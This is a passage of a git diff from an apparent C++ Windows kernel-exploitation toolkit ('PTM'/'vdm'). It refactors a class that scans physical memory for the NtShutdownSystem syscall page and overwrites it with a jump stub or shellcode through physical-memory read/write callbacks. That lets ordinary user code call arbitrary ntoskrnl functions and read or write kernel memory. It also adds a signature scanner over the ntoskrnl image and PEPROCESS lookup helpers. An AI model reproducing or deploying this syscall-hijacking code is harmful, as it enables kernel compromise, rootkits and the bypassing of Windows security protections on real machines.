DONT_RESOLVE_DLL_REFERENCES + ); + + static const auto p_idh = reinterpret_cast(ntoskrnl_module); + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return { {}, {} }; + + static const auto p_inh = reinterpret_cast((LPBYTE)ntoskrnl_module + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return { {}, {} }; + + const auto pattern_view = + std::string_view + { + reinterpret_cast(ntoskrnl_module), + p_inh->OptionalHeader.SizeOfImage + }; + + std::array, pattern_length - 1> pattern{}; + for (std::size_t index = 0; index < pattern_length - 1; index++) + pattern[index] = { signature[index], mask[index] }; + + auto resultant_address = std::search + ( + pattern_view.cbegin(), + pattern_view.cend(), + pattern.cbegin(), + pattern.cend(), + [](char left, std::pair right) -> bool { + return (right.second == '?' || left == right.first); + }); + + const auto found_address = + resultant_address == pattern_view.cend() ? 0 : + reinterpret_cast(resultant_address.operator->()); + + const auto rva = found_address - reinterpret_cast(ntoskrnl_module); + return { found_address, rva }; + } + } } \ No newline at end of file diff --git a/PTM/vdm_ctx/vdm_ctx.cpp b/PTM/vdm_ctx/vdm_ctx.cpp index 4eb651c..8d59289 100644 --- a/PTM/vdm_ctx/vdm_ctx.cpp +++ b/PTM/vdm_ctx/vdm_ctx.cpp @@ -1,8 +1,11 @@ -#include "vdm_ctx.h" +#include "vdm_ctx.hpp" namespace vdm { - vdm_ctx::vdm_ctx() + vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) + : + read_phys(read_func), + write_phys(write_func) { // already found the syscall's physical page... if (vdm::syscall_address.load()) @@ -34,9 +37,37 @@ namespace vdm search_thread.join(); } + void vdm_ctx::set_read(read_phys_t& read_func) + { + this->read_phys = read_func; + } + + void vdm_ctx::set_write(write_phys_t& write_func) + { + this->write_phys = write_func; + } + + void vdm_ctx::rkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + void vdm_ctx::wkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { - const auto page_data = + const auto page_data = reinterpret_cast( VirtualAlloc( nullptr, @@ -49,7 +80,7 @@ namespace vdm if (vdm::syscall_address.load()) break; - if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; // check the first 32 bytes of the syscall, if its the same, test that its the correct @@ -60,7 +91,6 @@ namespace vdm reinterpret_cast( address + page + nt_page_offset)); } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); } @@ -81,11 +111,11 @@ namespace vdm std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... - vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); - vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } diff --git a/PTM/vdm_ctx/vdm_ctx.h b/PTM/vdm_ctx/vdm_ctx.hpp similarity index 73% rename from PTM/vdm_ctx/vdm_ctx.h rename to PTM/vdm_ctx/vdm_ctx.hpp index ac64417..428aa16 100644 --- a/PTM/vdm_ctx/vdm_ctx.h +++ b/PTM/vdm_ctx/vdm_ctx.hpp @@ -5,28 +5,35 @@ #include #include #include +#include #include "../vdm/vdm.hpp" namespace vdm { // change this to whatever you want :^) constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - inline std::atomic is_page_found = false; inline std::atomic syscall_address = nullptr; - inline std::uint16_t nt_page_offset; inline std::uint32_t nt_rva; inline std::uint8_t* ntoskrnl; + using read_phys_t = std::function; + using write_phys_t = std::function; + class vdm_ctx { public: - vdm_ctx(); + explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + void rkm(void* dst, void* src, std::size_t size); + void wkm(void* dst, void* src, std::size_t size); + template __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const { - static const auto proc = + static const auto proc = GetProcAddress( LoadLibraryA(syscall_hook.second), syscall_hook.first @@ -46,12 +53,12 @@ namespace vdm std::uint8_t orig_bytes[sizeof jmp_code]; *reinterpret_cast(jmp_code + 6) = addr; - vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); // execute hook... - vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); auto result = reinterpret_cast(proc)(args ...); - vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result; @@ -60,35 +67,15 @@ namespace vdm template __forceinline auto rkm(std::uintptr_t addr) -> T { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - T buffer; - this->syscall( - ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T); - + rkm((void*)&buffer, (void*)addr, sizeof T); return buffer; } template __forceinline void wkm(std::uintptr_t addr, const T& value) { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - - this->syscall( - ntoskrnl_memcpy, (void*)addr, &value, sizeof T); - } - - __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t - { - static const auto ntoskrnl_get_virtual = - util::get_kmodule_export( - "ntoskrnl.exe", - "MmGetVirtualForPhysical"); - - return this->syscall( - ntoskrnl_get_virtual, addr); + wkm((void*)addr, (void*)&value, sizeof T); } __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS @@ -104,11 +91,25 @@ namespace vdm (HANDLE)pid, &peproc ); - return peproc; } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + private: void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; bool valid_syscall(void* syscall_addr) const; + + read_phys_t read_phys; + write_phys_t write_phys; }; } \ No newline at end of file